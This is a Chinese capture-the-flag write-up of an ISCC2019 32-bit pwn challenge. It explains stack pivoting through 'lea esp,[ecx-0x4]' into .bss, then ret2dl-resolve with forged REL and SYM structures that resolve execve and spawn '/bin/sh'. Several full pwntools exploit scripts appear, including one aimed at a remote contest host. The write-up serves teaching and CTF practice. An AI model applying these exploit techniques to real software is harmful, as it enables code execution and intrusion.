概述:ISCC2019的一道pwn题,对选手32位下的ret2dl的考察,之前投稿过一篇ret2dl的文章,但是具体调试阶段和原理讲解的都不是很周到。本文会根据做题的调试过程进行解析,介绍其中如何利用lea esp控制栈帧,以及如何调试一个伪造的重定向结构。
目录:
0x00 程序分析
0x01 stack povit
0x02 对Rel2dl的一些补充
0x03 纠错
0x00程序分析
拿到程序,按照惯例放入IDA,发现一个超级明显的栈溢出,而且还能输入超长的字符串。但是程序又不存在可以用ROP来调用的危险函数。
这就是明显给我们构造ret2dl提供方便嘛,否则必须要写一段调用一下read,很麻烦。但是这道题刚开始的关键还不在retdl这个技术上。
观察一下反汇编,发现ret的上一条命令是lea esp,[ecx-0x4],而不是leave。
0x080484b1 <main+91>: pop ecx
0x080484b2 <main+92>: pop ebx
0x080484b3 <main+93>: pop ebp
0x80484b4 <main+94>: lea esp,[ecx-0x4]
=> 0x80484b7 <main+97>: ret
根据之前的经验,这个程序应该是在64位下编译的32位程序,大佬说这是i386的平栈方式。main函数的ret,一旦覆盖大量的数据,就会导致栈顶地址出错。所以之前我一直认为是无法溢出成功的。因为一旦溢出大量数据,也会修改ECX的值,导致ESP的值出问题。
如下图所示。
#PS:lea esp,[ecx-0x4] 实际上就是将ecx-0x4的值赋给ESP
ESP=ECX(0x41414141-0x4)=0x4141413d
实际上在x64下编译的x86程序在ret前都会产生这一段代码。在我们使用栈溢出利用的时候,会导致栈帧出错。刚开始的初学者很容易一筹莫展(比如以前的我),因为无法完成一次EIP覆写。但是实际上,反复调试了几遍之后,就发现这道题并非不可利用。
其实既然ECX对ret时的ESP能产生直接影响,那么通过控制ECX也能间接控制ESP
只需要找到pop ecx 时候对应的栈顶,就能控制ECX。进而控制整个栈帧。
下面给出脚本。
0x01 stack povit
stack povit目的是伪造ecx控制esp的流程,而本题的lea ecx正好提供了绝妙的方案。
from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
payload="A"*0xe
payload+=p32(0xffffd060) #控制ecx
p.sendline(payload)
p.interactive()
以上代码成功控制了ecx,使得栈顶没有乱跑。
但是因为栈空间的随机化,导致对esp的控制没有了意义。因为每次ret时候,栈顶的位置都不确定
所以必须要到一个地址可控的区域,第一个想到的就是bss段。
通过find,发现buf的参数也是存放在bss段中。
直接伪造ecx,让栈指向到bss段中
from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
payload+=p32(Address)
p.sendline(payload)
p.interactive()
成功控制esp指向bss段
改变了ESP,现在通过gadget让EBP也进入bss段。
from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
gadget1=0x0804851b #pop ebp |ret
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
payload+=p32(gadget1)
payload+=p32(base_stage)
p.sendline(payload)
#fake_struct
p.interactive()
到此,我们已经完成了对栈的完全控制,将栈转移到了bss这个地址固定的段。
0x02对Rel2dl的一些补充
FAKE_REL部分
解决问题:实际调试时候,如何判断自己伪造的结构被程序读取。
从plt表中跳入dl_reslove函数时候dl_resolve会根据你的reloc_argc找到你的JMPREL结构(我们伪造的)
伪造的r_info 可以先写0x107 ,看看能不能解析真正的read函数。如果不行说明伪造的结构有问题。
源代码如下
0xf7fee000: push eax
0xf7fee001: push ecx
0xf7fee002: push edx
0xf7fee003: mov edx,DWORD PTR [esp+0x10]
0xf7fee007: mov eax,DWORD PTR [esp+0xc]
=> 0xf7fee00b: call 0xf7fe77e0
函数通过加粗代码,将linkmap和reloc_arg分别存入edx和eax,然后call dl_fixup。
所以只需要判断call的时候edx和eax的值是不是我们传入的值就能判断,结构伪造是否成功。
实际调试
Py脚本(不完整版本,仅部分实现)
# -*- coding: utf-8 -*-
from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 # pop esi ; pop edi ; pop ebp ; ret
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
payload+=p32(gadget1)
payload+=p32(base_stage)
#p.sendline(payload)
#fake_struct
plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=buf+0x200-rel_plt #fake_rel放后面一些,防止被出栈入栈覆盖
dynsym=0x080481cc
dynstr=0x0804822c
r_offset=0x0804a00c #read_got
r_info=0x107
fake_rel=p32(r_offset)+p32(r_info)
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+="A"*(0x200-len(payload)) #fake_rel的位置
payload+=fake_rel #buf+0x200
p.sendline(payload)
p.interactive()
传送reloc没问题
EAX=0xf7ffd918 #link_map
EDX=0x1db2 #reloc_argc
然后就进入call 0xf7fe77e0了,应该会读取我们伪造的REL结构了。但是执行到push esi的时候。
一开始以为是我们结构构造错误,但是自己观察报错。
发现提示SIGSEGV,即段错误。
再仔细一看,现在的栈已经下降到了0x804a002了,已经从bss段下降到了其他不可写的段,直接导致了段错误。
主要原因是因为我图方便,把bss的首地址作为了栈顶。解决方案就是在程序开始的时候就大幅度提高栈的地址。#这个图方便导致我卡了一个半个小时
于是提高栈空间重新写一下exp
# -*- coding: utf-8 -*-
from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500
gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 # pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 #
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)
#struct
plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=0x804a862-rel_plt #放后面一些,否则会被覆盖
dynsym=0x080481cc
dynstr=0x0804822c
r_offset=0x0804a00c #read_got
r_info=0x107
fake_rel=p32(r_offset)+p32(r_info)
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+=fake_rel
p.sendline(payload)
p.interactive()
可以看到call结束之后,直接进入了read函数。
因为我们赋给r_info =0x107,正好读取了read的SYM结构
FAKE_SYM部分
经验:在写ret2dl方法的时候,一般不是一气呵成的。先尝试把数据布置在bss段中,然后调试程序,确定代码的位置,然后再修改reloc_arg、fake_rel和fake_sym结构里面的参数到正确的位置。否则,一下子是很难拿写出来的。
Q1:程序退出,0177这种报错,说明是查找dysn,却没有找到对应的内容。需要重新检查构造的SYM结构。
Q2:SIGSEGV报错,还是一样的栈过低问题。也可能是r_info读取位置错了,读到其他段里面去了。
Q3:symbol lookup error ,读取sym结构错误,(ECX中显示)应该是读取的位置不正确。
根据前文,我们可以写出一个满是补丁的EXP,并且包含大量硬编码。
# -*- coding: utf-8 -*-
from pwn import *
p=process('./pwn01')
gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500
gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 # pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 # leave ;ret
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)
#struct
dynsym=0x080481cc
dynstr=0x0804822c
plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=0x804a862-rel_plt #fang hou mian yidian ,hui bei fugai
r_offset=0x0804a00c #read_got
fake_sym_addr=0x804a86a
align=0x10-((fake_sym_addr-dynsym)&0xf) #align=8#栈对齐
fake_sym_addr=fake_sym_addr+align
r_info=((fake_sym_addr-dynsym)/0x10)<<8|0x7
#r_info=0x107
fake_rel=p32(r_offset)+p32(r_info)
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+=fake_rel
st_name=0x804a87c-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload+="B"*align
payload+=fake_sym
payload+="systemx00"
p.sendline(payload)
p.interactive()
成功重定位read为system函数
但是参数布置依旧很麻烦
解决方案就是在payload+=p32(reloc_arg)后面添加4个字节任意数和/bin/sh的地址。
这样弹出shell之后,程序的参数正好指向/bin/sh
代码如下:
# -*- coding: utf-8 -*-
from pwn import *
p=process('./pwn01')
#p=remote('39.100.87.24',8101)
gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500
gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 # pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 #
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)
#struct
dynsym=0x080481cc
dynstr=0x0804822c
plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=0x804a872-rel_plt #fang hou mian yidian ,hui bei fugai
r_offset=0x0804a00c #read_got
fake_sym_addr=0x804a87a
align=0x10-((fake_sym_addr-dynsym)&0xf) #align=8#栈对齐
fake_sym_addr=fake_sym_addr+align
r_info=((fake_sym_addr-dynsym)/0x10)<<8|0x7
#r_info=0x107
fake_rel=p32(r_offset)+p32(r_info)
bin_sh=0x804a8e3
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+="A"*4
payload+=p32(bin_sh)#set argc
payload+="A"*8
payload+=fake_rel
st_name=0x804a88c-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload+="B"*align
payload+=fake_sym
payload+="systemx00"
payload+="A"*80
payload+="/bin/shx00"
p.sendline(payload)
p.interactive()
但是依旧没弹出shell,参数和system都没有错。
后来忽然脑海里想象出了大师傅的一句话,用execve,别用system。
于是,换成execve就解决了[execve要设置三个参数/bin/sh ,0 ,0]
最终脚本:
# -*- coding: utf-8 -*-
from pwn import *
#p=process('./pwn01')
p=remote("39.100.87.24",8101)
#gdb.attach(p,'b *0x80484b1')
Address=0x12345678
fake_ecx=0x804a05a
buf=0x804a040
fake_esp=fake_ecx-0x4
base_stage=fake_esp+0x800
read_plt=0xf7ed2b00
stack_size=0x500
gadget1=0x0804851b #pop ebp |ret
gadget2=0x08048519 # pop esi ; pop edi ; pop ebp ; ret
gadget3=0x080483c5 #
#New stack
payload="A"*0xe
payload+=p32(fake_ecx)
payload+="BBBB"
#payload+=p32(read_plt)
#payload+=p32(gadget2)
#payload+=p32(0)+p32(base_stage)+p32(100)
payload+=p32(gadget1)
payload+=p32(base_stage)
payload+=p32(gadget3)
payload+=p32(base_stage+stack_size)
#p.sendline(payload)
#struct
dynsym=0x080481cc
dynstr=0x0804822c
plt0=0x80482f0
rel_plt=0x080482b4
reloc_arg=0x804a872-rel_plt #fang hou mian yidian ,hui bei fugai
r_offset=0x0804a00c #read_got
fake_sym_addr=0x804a87a
align=0x10-((fake_sym_addr-dynsym)&0xf) #align=8#栈对齐
fake_sym_addr=fake_sym_addr+align
r_info=((fake_sym_addr-dynsym)/0x10)<<8|0x7
#r_info=0x107
fake_rel=p32(r_offset)+p32(r_info)
bin_sh=0x804a8e3
payload+="A"*(0x804a85a-buf-len(payload))
payload+=p32(plt0)
payload+=p32(reloc_arg)
payload+="A"*4
payload+=p32(bin_sh)#set argc #之前的wp里面写错了
payload+=p32(0)+p32(0)
payload+=fake_rel
st_name=0x804a88c-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload+="B"*align
payload+=fake_sym
payload+="execvex00"
payload+="A"*80
payload+="/bin/shx00"
payload+="A"*20
p.sendline(payload)
p.interactive()
但是远程服务器还是不行,据说是服务器控制只能一次输入200字节,导致我们这个超长的payload没有用武之地。如果要服务器上实现,只需要将payload分开,每次再payload结尾调用read再次读取数据到栈中。
0x03 纠错:
之前投稿到安全客的文章,写时候没多想,第四行的注释写错了。
Base_stage+80实际上是/bin/sh的位置,做传参之用。
Ret2dl的原理在上一篇文章里做了浅显的解析。
文章投稿到了安全客,可以点击此处查看。
资源下载
这次的pwn题案例放在github上了
个人整理的pwn题 下载地址
更多的pwn题分析可以访问我的个人博客 https://migraine-sudo.github.io/
发表评论
您还未登录,请先登录。
登录